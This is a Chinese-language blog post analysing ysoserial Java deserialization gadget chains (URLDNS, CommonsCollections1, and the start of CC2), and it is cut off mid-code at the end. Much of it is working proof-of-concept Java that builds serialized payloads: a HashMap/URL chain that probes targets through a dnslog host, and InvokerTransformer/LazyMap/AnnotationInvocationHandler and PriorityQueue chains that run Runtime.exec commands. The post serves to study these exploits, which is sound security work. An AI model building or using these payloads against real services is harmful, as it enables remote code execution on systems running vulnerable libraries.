yso gadget分析(1)

2023-11-09 10:30
文章标签 分析 gadget yso

本文主要是介绍yso gadget分析(1),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言:

https://www.yuque.com/yq1ng/java/gg8kxx

URLDNS

在这里插入图片描述
从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。

ysoserial payload生成命令:java -jar ysoserial.jar URLDNS "自己能够查询DNS记录的域名"
(这里可以使用ceye做DNS查询)

通常使用此 gadget 的目的:

  • 一是探测目标是否存在反序列化漏洞,因为本 gadget 不依赖任何第三方库;
  • 二是可以确定目标机器是否可以出网。

先编一个 URLDNS 的利用连,后面再去分析 ysoserial 是怎么生成这个 payload 的。

package yso;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {//  new一个 HashMap 出来,这是此 gadget 的起点;然后设置需要访问的 urlHashMap hashMap = new HashMap();URL url = new URL("http://ks00e0.dnslog.cn");//  将URL私有的 hashCode 字段设置为可以更改Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");field.setAccessible(true);//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**//  设置url的hashCode字段为0x123(此值随意)field.set(url, 0x123);//  将url键值存入 hashMap,右边参数随便写hashMap.put(url, "lili");//  修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)field.set(url, -1);//  序列化,写入文件(模拟网络传输ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));outputStream.writeObject(hashMap);outputStream.close();//  读取文件,进行反序列化触发payloadObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));inputStream.readObject();inputStream.close();}
}

在这里插入图片描述

运行后,dnslog接收到请求
在这里插入图片描述
我们知道java反序列化的执行入口就是readObject方法,而我们最外层的包装就是HashMap,那么这个链自然是从HashMap的readObject开始的

调试:
利用链是从 HashMap 开始的,搜索类名:HashMap
在这里插入图片描述

HashMap 的作用:将一个键值对的二维数组转为一维数组,一维数组的下标为 hash(key) 。

java.util.HashMap#writeObject 分为三个步骤进行序列化:

1.序列化写入一维数组的长度(不是特别确定,但是这个值在反序列化中是不使用的,所以不太重要);
2.序列化写入键值对的个数;
3.序列化写入键值对的键和值;

然后直接来到 readObject(),看主要利用代码

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// 布拉不拉一大堆//读取一维数组长度,不处理//读取键值对个数 mappings//处理其他操作并初始化//遍历反序列化分辨读取key和valuefor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();// 注意此处计算hash,跟进putVal(hash(key), key, value, false, false);}
}

putVal是往HashMap中放入键值对的方法,上面也说到在放入时会计算key的hash作为转化为数组位置i的映射依据。

DNS查询正是在计算URL类的对象的hash的过程中触发的,即hash(key)。

static final int hash(Object key) {int h;//	继续跟,但是再直接点就进不去了,打个断点跟进去return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

传入的key是一个URL对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()调用URL类中的hashCode方法。

//java.net.URL.javatransient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化(之后会用到)private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。//...巴拉巴拉    
public synchronized int hashCode() {
// 判断如果当前对象中的hashCode不为默认值-1的话,就直接返回//意思就是如果以前算过了就别再算了if (hashCode != -1)return hashCode;//当 hashCode == -1 时才会计算 key 的 hash,这就解释了 poc 中这一句代码:field.set(url, -1);//如果没算过,就调用当前URL类的URL传输实现类去计算hashcodehashCode = handler.hashCode(this);return hashCode;}

继续往下看,进入 handler.hashCode(this)

//java.net.URLStreamHandler#hashCode//此处传入的URL为我们自主写入的接受DNS查询的URL
protected int hashCode(URL u) {int h = 0;//计算的hash结果//使用url的协议部分,计算hashString protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();//通过url获取目标IP地址,再计算hash拼接进入InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {//如果没有获取到,就直接把域名计算hash拼接进入String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}//...

getHostAddress(u) 语句:通过我们提供的URL地址去获取对应的IP。

跟进看到调用的是URL.java 的 getHostAddress方法在这里插入图片描述
继续跟进

762 行就是根据主机名获取其 ip

如果继续跟进去以后可以发现这一段,如果 host 是 IP 那么程序将不必继续下去
(因此 URL 要传入一个域名而不能是一个IP,IP不会触发DNS查询)在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

为啥不能直接把URL对象put进去hashmap就好了?反而要设置成别的随意值再设置回来?

  //  设置url的hashCode字段为0x123(此值随意)field.set(url, 0x123);//  将url键值存入 hashMap,右边参数随便写hashMap.put(url, "lili");//  修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)field.set(url, -1);

看一下 java.util.HashMap#put

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);
}

可以发现put里面的语句跟我们之前看到的会触发DNS查询的语句一模一样,同时URL对象再初始化之后的hashCode默认为-1。

也就是说在我们生成payload的过程中,如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。

如果不设置 hashCode 不为 -1 的话,那么存入 hashMap 的时候就会触发一次 hash(key),也就是本地生成 poc 会执行一次 DNS请求,这会对我们的判断造成影响,所以要先设置其不为 -1 ,存入 hashMap 以后再将其变回来,这样只会执行一次 DNS 了。

注:不能使用ip+端口进行回显,因为此处功能为DNS查询,ip+端口不属于DNS查询。同时在代码底层对于ip的情况做了限制,不会进行DNS查询。

如果把field.set(url, 0x123);这句注释掉

这时候hashCode默认为-1,然后就会进入hash(key)触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode,就可以避免触发。

而在put了之后:

1、如果之前没有field.set(url, 0x123);修改hashCode,就会完成DNS查询的同时,计算出hashCode,从而修改成不为-1的值。这个hashcode会被序列化传输,到对方机器时就会因为不是-1而跳过DNS查询流程
2、如果之前修改了hashCode,那自然也会直接被序列化传输,不是-1也会跳过DNS查询流程。
所以需要field.set(url, -1);把这个字段改回来-1。

梳理:

仔细看一下可以知道最终的payload结构是 一个HashMap,里面包含了 一个修改了HashCode值为-1的URL类

总结以上反序列化过程,我们可以得出要成功完成反序列化过程触发DNS请求,payload需要满足以下2个条件:
1、HashMap对象中有一个key为URL对象的键值对
2、这个URL对象的hashcode需要为-1

//JDK1.8下的调用链:
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

在这里插入图片描述
在这里插入图片描述

分析:
ysoserial 的代码,部分注释删了

public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//SilentURLStreamHandler 是一个自主写的避免生成payload的时候形成URL查询的操作。//用这种操作的前提是URL对象的handler属性是transient类型;//这代表我们自主写的操作不会被写入反序列化的代码中,不会对结果造成影响。URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URL//把SilentURLStreamHandler这个handler传入进去URL u = new URL(null, url, handler); // URL to use as the Key//URL作为key值和HashMap(此处的value值是可以随便设置的,这里设置为url)ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}

它代码中没有使用 field.set(url, 0x123); ,但是自定了一个类为 SilentURLStreamHandler,这个类继承URLStreamHandler重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求了

内容-基础向:https://www.anquanke.com/post/id/201762
1、在IDEA中JAR的三种调试方式
2、Ysoserial工具中URLDNS模块的原理分析
3、POC代码以及Ysoserial的源码分析

CommonsCollections 1

环境要求:
Jdk 7
commons-collections:3.1

jdk7 源码下载
jdk7 下载

commons-collections:3.1 用maven添加就好

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>

反序列化所需类:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap

挨个认识一下

lazymap

LazyMap
简介:修饰另一个 map,当调用 map 中不存在的 key 时使用工厂创建对象。

package yso;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.lang3.StringUtils;import java.util.HashMap;
import java.util.Map;public class TestLazyMap {public static void main(String[] args) {//  定义处理不存在 key 的情况,可以是 Transformer 也可以是 ChainedTransformer 链子//  用于反转调用不存在的 key 值final Transformer reverseString = new Transformer() {public Object transform(Object object) {String name = (String) object;String reverse = StringUtils.reverse(name);return reverse;}};Map names = new HashMap();//  将处理链传给 lazyMapMap lazyMap = LazyMap.decorate(names, reverseString);//  lazyMap 为空,测试调用不存在 keyString name = (String) lazyMap.get("lili");System.out.println("name:" + name);//  put 一个键值lazyMap.put("lili", "TestLazyMap");//  key 存在,不进入处理链name = (String) lazyMap.get("lili");System.out.println("name:" + name);}
}

可以看到 LazyMap.decorate(Map map, Transformer factory) 的 factory 是可以被控制的,而 Transformer 是一个接口,看看其实现有哪些

TransformedMap

这里使用的是decorate方法,

参数是两个对象,对象为实现了Transformer 接口的类

在这里插入图片描述
简言之作用就是用来修饰map的 ,当被修饰的map被添加新元素时会分别触发这两个对象的transform 的方法(回掉),一个是key,另一个是value

在这里插入图片描述
运行结果 被修饰的map 会分别调用实现了Transformer 接口的 Test、Test2的transformer方法。 transformer参数为key 或者 value, 返回值也就是修饰之后的值
在这里插入图片描述
也就是说通过Transformer 修饰的map 在添加元素时可以调用任意transformer方法

之后只关注类的transformer方法 即可

ConstantTransformer

ConstantTransformer

简介:当调用其 transform 方法时,它将返回构造时传入的 对象
在这里插入图片描述
举例:

12

InvokerTransformer

InvokerTransformer

调用输入对象的一个方法, 并且参数可控

简介:初始化此类后,调用 transform 方法将通过反射创建对象实例

实例化需传入三个参数:
● 第⼀个参数是待执⾏的⽅法名
● 第⼆个参数是这个函数的参数列表的参数类型
● 第三个参数是传给这个函数的参数列表

//源码/*** Constructor that performs no validation.* Use <code>getInstance</code> if you want that.* * @param methodName  the method to call* @param paramTypes  the constructor parameter types, not cloned* @param args  the constructor arguments, not cloned*/public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}/*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

没有什么限制,妥妥的 rce 执行点,这也是本 gadget 的终点,来个例子看看

package yso;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class TestInvokerTransformer {public static void main(String[] args) {HashMap hashMap = new HashMap();//  这里使用 LazyMap 是不行的,因为他继承的是 AbstractMapDecorator//  其 put 就是简单的 map.put,没有其他操作,这也和 LazyMap 的名字很像,懒 MapLazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));lazyMap.put(Runtime.getRuntime(), "yq1ng");//  需要使用 TransformedMap,在调用 put 时会修饰 key 和 value//  而 map 的修饰我们已经定义好了,弹出计算器Map map = TransformedMap.decorate(hashMap,new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),null);map.put(Runtime.getRuntime(), "yq1ng");}
}

在这里插入图片描述

ChainedTransformer

ChainedTransformer

简介:将各个 Transformer 连接在一起,使用上一个 Transformer 的结果作为下一个 Transformer 的输入

代码也很简单,依次调用传入 Transformer 的 transform
ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍
在这里插入图片描述
例子;

package yso;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class Index {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("a","b");}
}

简单分析⬆️利用过程:

1、将构造好的ConstantTransformer 、 InvokerTransformer添加到itransformers中

2、将构造好的 transformerChain放入 TransformedMap.decorate

3、在put的时候调用transformerChain.transform

4、调用ConstantTransformer.transform(“b”),返回Runtime类

5、调用InvokerTransformer.transform(Runtime)

进入就会执行构造的方法

这里就执行了 exec 方法
在这里插入图片描述
例子2:
在这里插入图片描述

动态代理劫持

如果不会动态代理的话可以先看看这个:java动态代理实现与原理详细分析

代理有点像 PHP 的 __call 方法

首先需要了解的是一种常用的java设计模式 ---- 代理模式,而对于代理,根据创建代理类的时间点,又可以分为静态代理和动态代理。

代理模式特征

代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。

代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。

简单的说就是,我们在访问实际对象时,是通过代理对象来访问的,代理模式就是在访问实际对象时引入一定程度的间接性,因为这种间接性,可以附加多种用途。
在这里插入图片描述
1、静态代理

由程序员创建或特定工具自动生成源代码,也就是在编译时就已经将接口,被代理类,代理类等确定下来。在程序运行之前,代理类的.class文件就已经生成。

2、动态代理

代理类在程序运行时创建的代理方式被成为动态代理。

举例:(运行以后发现并未获得 flag ,博主说这样就实现了一个代理劫持,我不太理解是怎样)
在这里插入图片描述

gadget

上面是能成功利用了,但是不可能让你直接使用 put 的,所以需要另辟蹊径。

1、ysoserial

在这里插入图片描述

ysoserial 使用的是 org/apache/commons/collections/map/LazyMap.java#get()

//巴拉巴拉
protected final Transformer factory;
//巴拉巴拉
public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}
}

上面也提到过,LazyMap.get() 在找不到值的时候会调用 factory.transform,也就是经过处理链,那么只需要找到一个能 直接/间接 执行这个方法的类就好了。结果寻找到 rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class#invoke() 直接调用了 get()

// class AnnotationInvocationHandler implements InvocationHandler, Serializable {AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {Class[] arrayOfClass = paramClass.getInterfaces();if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = paramClass;this.memberValues = paramMap;
}public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {String str = paramMethod.getName();Class[] arrayOfClass = paramMethod.getParameterTypes();if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)return equalsImpl(paramArrayOfObject[0]); if (arrayOfClass.length != 0)throw new AssertionError("Too many parameters for an annotation method"); switch (str) {case "toString":return toStringImpl();case "hashCode":return Integer.valueOf(hashCodeImpl());case "annotationType":return this.type;}Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里if (object == null)throw new IncompleteAnnotationException(this.type, str); if (object instanceof ExceptionProxy)throw ((ExceptionProxy)object).generateException(); if (object.getClass().isArray() && Array.getLength(object) != 0)object = cloneArray(object); return object;
}

在这里插入图片描述
exp1:

package demo.rmb122;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(java.lang.Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);constructor.setAccessible(true);HashMap hashMap = new HashMap<String, String>();Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);// 因为构造方法不是 public, 只能通过反射构造出来constructor.setAccessible(true);InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Deprecated.class, proxy);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));oos.writeObject(obj);}
}

那谁又去调用 AnnotationInvocationHandler.invoke() 呢?

ysoserial 使用的是 动态代理:Proxy.newProxyInstance() ,可以把它想象成 PHP 的 __call()。

注意 AnnotationInvocationHandler 也是一个 InvocationHandler ,也就是如果将这个对象进行代理,那么在 readObject() 的时候调用任意方法就会进到 invoke() 里面。

代理可以这么写:

	//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);//  创建 map 代理 handlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);//  创建 map 代理,劫持调用 map 时将数据经过处理链 chainMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

此时还不能序列化,因为这时候还是直走到 invoke() ,需要再次代理一下,对这个 invoke() 进行包装,使得在反序列化的时候调用到它

	//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);//  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandlerInvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

做完上面这些这还不够,由于 Runtime 没有实现 Serializable 接口,所以上面的还是不能直接用,需要将 Runtime.getRuntime() 改为 Runtime.class,因为所有的 Class 类都实现了 Serializable 接口。

其他的细节见下面 poc 的注释
poc:

package com.yq1ng.cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;/*** @author ying* @Description* @create 2021-10-19 22:55*/public class cc1 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {//  创建处理链ChainedTransformer chain = new ChainedTransformer(new Transformer[] {//	返回 Runtime 类new ConstantTransformer(Runtime.class),//	上面返回的是一个 Class,所以需要反射获取其方法,相当于 (Runtime.class).getMethod("getRuntime",null)/*new Class[0] 就是传一个长度为1的Class数组过去,内容为null。new Class[0] 表示有零个元素的Class数组,即空数组,与传入null结果是一样的,都表示取得无参构造方法。为什么不直接传入null?防止后面代码有 for(Object o : args) 报错抛出 NullPointerException 空指针异常*/new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),// 这一步相当于 ((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)/*解释一下 invoke对Method实例调用invoke就相当于调用该方法,invoke的第一个参数是对象实例,第二个为方法参数前面一步 (Runtime.class).getMethod("getRuntime",null) 返回的是一个 Method 包装后的 getRuntime 方法,并不是 Runtime 对象,这个方法是空参数,所以不需要去传入对象实例,也不需要传入参数*/new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),//	到这就是 (((Runtime.class).getMethod("getRuntime",null)).invoke(null,null)).exec("calc")//	上面一步 invoke 后就返回了 Runtime 对象,所以这里就可以用 exec 了new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});//  将处理链塞进 mapHashMap innermap = new HashMap();LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);//  创建 map 代理 handlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);//  创建 map 代理,劫持调用 map 时将数据经过处理链 chainMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);//  获取 AnnotationInvocationHandler 私有构造器并取消Java访问安全检查Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);//  为了在反序列化(readObject)的时候调用 AnnotationInvocationHandler 的 invoke 方法,再次代理 AnnotationInvocationHandlerInvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);try{//  写文件,模拟网络传输ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));outputStream.writeObject(handler);outputStream.close();//  读文件,模拟网络读取ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./src/main/java/com/yq1ng/cc1/cc1.ser"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

运行以后可以发现弹出了计算器,但是如果你去调试的话在反序列化之前就会弹出计算器,当调试过了 劫持 map 调用 的那句代码后就会弹出计算器,是因为 idea 要处理每个变量数据展示出来导致执行了 map.toString() 经过了处理链弹出计算器。

2、AnnotationInvocationHandler.class

要想能够执行 ,就必须有put操作 而且是位于readObject 方法里才能触发。

rt.jar!/sun/reflect/annotation/AnnotationInvocationHandler.class中readObject实现如下:

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它 的所有元素,并依次设置值

在这里插入图片描述
这样就会触发。

因此需要把构造好的放入AnnotationInvocationHandler 因为类无法直接调用, 所以需要通过反射来获取。

Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);
/** outerMap 为构造好的map */

又因为Runtime不可被序列化(可通过反射来解决) 以及如下原因(具体不分析了

在这里插入图片描述

最终反序列化payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
//import sun.reflect.annotation.AnnotationInvocationHandler;public class Index {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("value", "xxxx"); // 第一个值必须为valueMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);HashMap hashMap = new HashMap();Class clas = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clas.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //写入文件的话需要用FileOutputStreamObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);objectOutputStream.close();ByteArrayInputStream byteArrayInputStream =  new ByteArrayInputStream(byteArrayOutputStream.toByteArray());ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();objectInputStream.close();}
}

没弹出来,不知道为啥,迷迷糊糊的

CC2

环境
jdk8U202

<dependency><groupId>javassist</groupId><artifactId>javassist</artifactId><version>3.12.1.GA</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.1</version>
</dependency>

PriorityQueue

Queue是一个FIFO(先进先出),但是现在有很多业务都是带VIP服务的,尊贵的VIP怎么可以等待?摇号结束下一位就要是它。

PriorityQueue 此时闪亮登场,相当于代理了 Queue,有一个增强服务,如果有VIP来了那么先让VIP去办理业务。

常用方法:
在这里插入图片描述

PriorityQueue链分析

java/util/PriorityQueue.java#readObject(),发现会对传入的 ObjectInputStream 进行反序列化,并赋值给 queue[i]
在这里插入图片描述
这里的 queue[i] 是 readObject() 得到的,也就是说会在 writeObject()写入内容

在这里插入图片描述
可以通过反射,控制 queue[i] 写入恶意内容,在反序列化的时候触发。继续跟 readObject() 的最后一句 heapify()

PriorityQueue readObject 时, 在读取完对象后, 会调用 heapify 来进行排序, 而排序方法是可以自定义的 (利用 Comparator 接口), 配合上 TransformingComparator(实现类)

这里想要进入循环需要 size > 1 ,size是 queue 的个数,那么在反射后加上两个值就行

java/util/PriorityQueue.java#heapify()

    //The number of elements in the priority queue.private int size = 0;//巴拉巴拉/*** Establishes the heap invariant (described above) in the entire tree,* assuming nothing about the order of the elements prior to the call.*/@SuppressWarnings("unchecked")private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);}

继续跟进 siftDown()

  private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}

继续跟进siftDownUsingComparator()

12x 是我们上面设置的恶意内容。

跟踪 Comparator 可知其是一个接口,找一下实现类

public class TransformingComparator implements Comparator {

在这里插入图片描述

在排序时会先 transform 一下, 再结合喜闻乐见的 InvokeTransfer, 导致 RCE

看到了老朋友,用cc1就可以触发了

package yso;import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}));TransformingComparator comparator = new TransformingComparator(chain);PriorityQueue queue = new PriorityQueue(1, comparator);queue.add(1);queue.add(2);try {ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(new 